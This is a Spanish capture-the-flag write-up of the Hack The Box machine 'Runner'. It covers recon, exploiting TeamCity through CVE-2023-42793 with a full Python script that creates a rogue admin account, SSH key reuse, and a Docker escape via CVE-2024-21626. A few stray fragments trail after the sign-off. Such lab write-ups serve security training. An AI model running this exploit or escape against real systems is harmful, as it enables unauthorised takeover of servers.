Realizamos un ping a la máquina objetivo para verificar la conectividad y obtener información sobre la ruta utilizando la opción -R para incluir la ruta de retorno:
Kali Linux Machine
ping -c 1 10.129.162.200 -R
El valor de TTL (Time To Live) igual a 63 puede ser indicativo de que el sistema operativo de la máquina objetivo es Linux. El TTL es un valor en el campo de los paquetes IP que indica la duración que un paquete puede estar en una red antes de ser descartado. Linux establece por defecto el valor de TTL de sus paquetes IP en 64, que al pasar por un salto en la red se decrementa a 63.
Initial NMAP Scan
Luego, realizamos un escaneo de puertos utilizando Nmap para identificar los puertos abiertos en la máquina objetivo. Utilizamos las opciones -p- para escanear todos los puertos, --open para mostrar solo los puertos abiertos, -sS para un escaneo de tipo TCP SYN, --min-rate 5000 para establecer la velocidad mínima de paquetes y -vvv para un nivel de verbosidad alto. Además, utilizamos -n para desactivar la resolución de DNS, -Pn para no realizar el escaneo de ping, y -oG allPorts para guardar la salida en un archivo con formato Greppable para luego utilizar nuestra función extractPorts:
Posteriormente, realizamos un escaneo más detallado de los puertos identificados utilizando la opción -sCV para detección de versiones y scripts de enumeración de servicios. Específicamente, indicamos los puertos a escanear con -p __PORTS__ (reemplazando __PORTS__ con los puertos identificados en el paso anterior) y guardamos la salida en un archivo de texto con el nombre targeted:
Más que esto no he encontrado, sin la versión es complicado hacer un ataque a Nagios, quizás más adelante sea necesario, por el momento lo dejaré de lado y seguiré enumerando, pero en este caso subdomains.
Wfuzz Subdomains/VHosts
Aquí la verdad probé muchas wordlists, ya me estaba rindiendo pero resultó con namelist.txt.
En este caso le puse --hh 154 porque estoy omitiendo el resultado de 154 Characters, me llenaba la pantalla y me molestaba.
Kali Linux Machine
echo "10.129.162.200 teamcity.runner.htb runner.htb" | sudo tee -a /etc/hosts
Exploring teamcity.runner.htb
Al ingresar podemos percatarnos que la versión de TeamCity es 2023.05.3 (build 129390).
El forgotPassword.html tiene una respuesta rápida así que no quita la posibilidad de algún ataque de fuerza bruta.
Así que empezamos fuerte, porque al Googlear un poco me encuentro con algunas CVE. Y por lo que me imagino deben haber varias formas de pwnear esto, así que dejaré plasmada la mía.
Pero antes de empezar a explotar voy a descubrir directorios con WFuzz.
Después de un rato no hallo nada interesante así que lo más obvio sería continuar con la explotación de alguno de los CVE que se encuentran disponibles para la versión 2023.05.3.
CVE-2023-42793
Analicé el código y bueno también le metí un poco de mano al código, ahora también muestra el valor del token que obtenemos haciendo POST Request a /app/rest/users/id:1/tokens/RPC2.
import requests
import argparse
import re
import random
import string
import subprocess
from colorama import init, Fore
init()
banner = f"""
{Fore.MAGENTA}=====================================================
* CVE-2023-42793 *
* TeamCity RCE *
* *
* {Fore.WHITE}Author: ByteHunter{Fore.MAGENTA} *
* {Fore.WHITE}Modified: 3ky{Fore.MAGENTA} *
=====================================================
"""
def print_banner():
print(banner)
def parse_arguments():
parser = argparse.ArgumentParser(description="CVE-2023-42793 - TeamCity JetBrains PoC")
parser.add_argument("-u", "--url", required=True, help="Target URL (http://teamcity.runner.htb")
parser.add_argument("-v", "--verbose", action="store_true", help="verbose mode")
return parser.parse_args()
def generate_random_string(length):
return ''.join(random.choice(string.ascii_letters + string.digits) for _ in range(length))
def get_token(url, curl_command):
get_token_url = f"{url}/app/rest/users/id:1/tokens/RPC2"
response = requests.post(get_token_url, verify=False)
if response.status_code == 200:
match = re.search(r'value="([^"]+)"', response.text)
if match:
return match.group(1)
else:
print("Token not found in the response")
elif response.status_code == 404 or response.status_code == 400:
print("Token already exists")
delete_and_retry(url, curl_command)
else:
print("Failed to get a token")
def delete_and_retry(url, curl_command):
delete_token_url = f"{url}/app/rest/users/id:1/tokens/RPC2"
delete_command = f'{curl_command} -X DELETE {delete_token_url}'
delete_process = subprocess.Popen(delete_command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
delete_process.wait()
if delete_process.returncode == 0:
print("Previous token deleted successfully\nrun this command again for creating new token & admin user.")
else:
print("Failed to delete the previous token")
def create_admin_user(url, curl_command, token):
create_user_url = f"{url}/app/rest/users"
headers = {
"Authorization": f"Bearer {token}",
"Content-Type": "application/json"
}
random_chars = generate_random_string(12)
username = f"{random_chars}"
password = generate_random_string(12)
data = {
"username": username,
"password": password,
"email": "admin@runner.htb",
"roles": {"role": [{"roleId": "SYSTEM_ADMIN", "scope": "g"}]}
}
create_user_response = requests.post(create_user_url, headers=headers, json=data)
if create_user_response.status_code == 200:
print(f"{Fore.GREEN}CVE-2023-42793")
print(f"URL: {url}")
print(f"Username: {username}")
print(f"Password: {password}{Fore.RESET}")
print(f"{Fore.RED}Token: {token}{Fore.RESET}")
else:
print(f"{Fore.RED}Failed to create new admin user{Fore.RESET}")
def main():
print_banner()
args = parse_arguments()
url = args.url
curl_command = "curl -k" if url.startswith("https://") else "curl"
token = get_token(url, curl_command)
if not token:
return
create_admin_user(url, curl_command, token)
if __name__ == "__main__":
main()
Claro está que estas credenciales son creadas por nosotros a través del RCE. Quiere decir que solo funcionarán en mi máquina.
Pero eso no es todo, buscando más sobre la CVE-2023-42793 me encuentro la sorpresa de que podemos realizar un arbitrary code execution.
En pocas palabras con el Token que creamos pertenece a una sesión de usuario que tiene privilegios de administrador, y con estos podemos modificar permisos.
Entonces lo que quiero intentar es lograr una reverse shell. Estudiando un poco cómo funciona el debug.processes, me entero de que utiliza otra variable llamada "parameters", la cual podemos llamar varias veces. En mi caso junto con UNICODE genero el siguiente payload:
El reporte de LinEnum me muestra un archivo .dockerenv, quiere decir que nos encontramos dentro de un docker, la idea es buscar credenciales de algún usuario para poder salir de aquí.
LinEnum.sh output
[-] Current user/group info:
uid=1000(tcuser) gid=1000(tcuser) groups=1000(tcuser)
[+] Looks like we're in a Docker container:
-rwxr-xr-x 1 root root 0 Feb 28 19:05 /.dockerenv
Otra cosa que siempre me gusta hacer es buscar posibles passwords o ssh keys.
Creo un archivo id_rsa, agrego la clave privada, lo guardo y le doy permiosos (600).
El problema es que desconozco de quién es el usuario, intenté con root y tcuser y no hubo suerte.
Así que vuelvo a la pagina de teamcity a buscar más información de usuarios, así que accedo aquí:
admin:john@runner.htb
matthew:matthew@runner.htb
Así que intento utilizando la id_rsa con el usuario john.
ssh -i id_rsa john@runner.htb
SSH on runner.htb as john
Aquí podemos ver que ya nos encontramos fuera del container. Me gustaría ejecutar un LinPEAS o LinEnum aquí también para poder saber más sobre el objetivo, quizás un movimiento lateral hacia Matthew o una Escalation Privilege directa hacia root.
Quiero pensar que con las credenciales de John o Matthew puedo ingresar a Portainer.io y desde ahí hacer algo con docker y lograr el Privilege Escalation. Así que vuelvo a teamcity.runner.htb en busca de alguna password para hacerle reuse.
Obtainning backup of TeamCity
Hay cierto item llamado backup el cual... claro, nos permite realizar un backup y esto podria traer la contraseña que ando buscando, esto lo sé en base a la experiencia ya que en otras máquinas también me ha tocado realizar backups, o ver backups o databases para extraer hashes.
Exploit via Setting Working Directory to /proc/self/fd/
Set the working directory of the container to /proc/self/fd/<fd> (where <fd> stands for the file descriptor when opening /sys/fs/cgroup in host filesystem. Usually it’s 7 or 8) when running a container.
En este caso nosotro vamos a utilizar como working dir/proc&/self/fd/8 para ver si logramos "escapar del container" y mantener los privilegios de root.
Cuando creamos el container nos pedirá una Image, las obtienes de /docker/images.
Lo muestro aquí abajo.
Ingresamos a nuestro Container -> Console
Escape Vulnerability CVE-2024-21626
Docker Container Console
cd ../../../../root
ls -la
cat root.txt
If you liked this GitBook, give me respect on my HTB profile, greetings!
Si te gustó este GitBook dame respect en mi perfil de HTB, saludos!.
Если вам понравился этот GitBook, выразите мне уважение в моем профиле HTB, привет!
यदि आपको यह GitBook पसंद आया, तो मेरी HTB प्रोफ़ाइल पर मुझे सम्मान दें, शुभकामनाएँ!
Wenn Ihnen dieses GitBook gefallen hat, geben Sie mir Respekt auf meinem HTB-Profil, Grüße!
如果你喜歡這本 GitBook,請尊重我的 HTB 個人資料,問候!
(SOURCE).
Por ejemplo si ingresamos a teamcity.runner.htb con las credenciales, y luego vamos a la pestaña diagnostics ().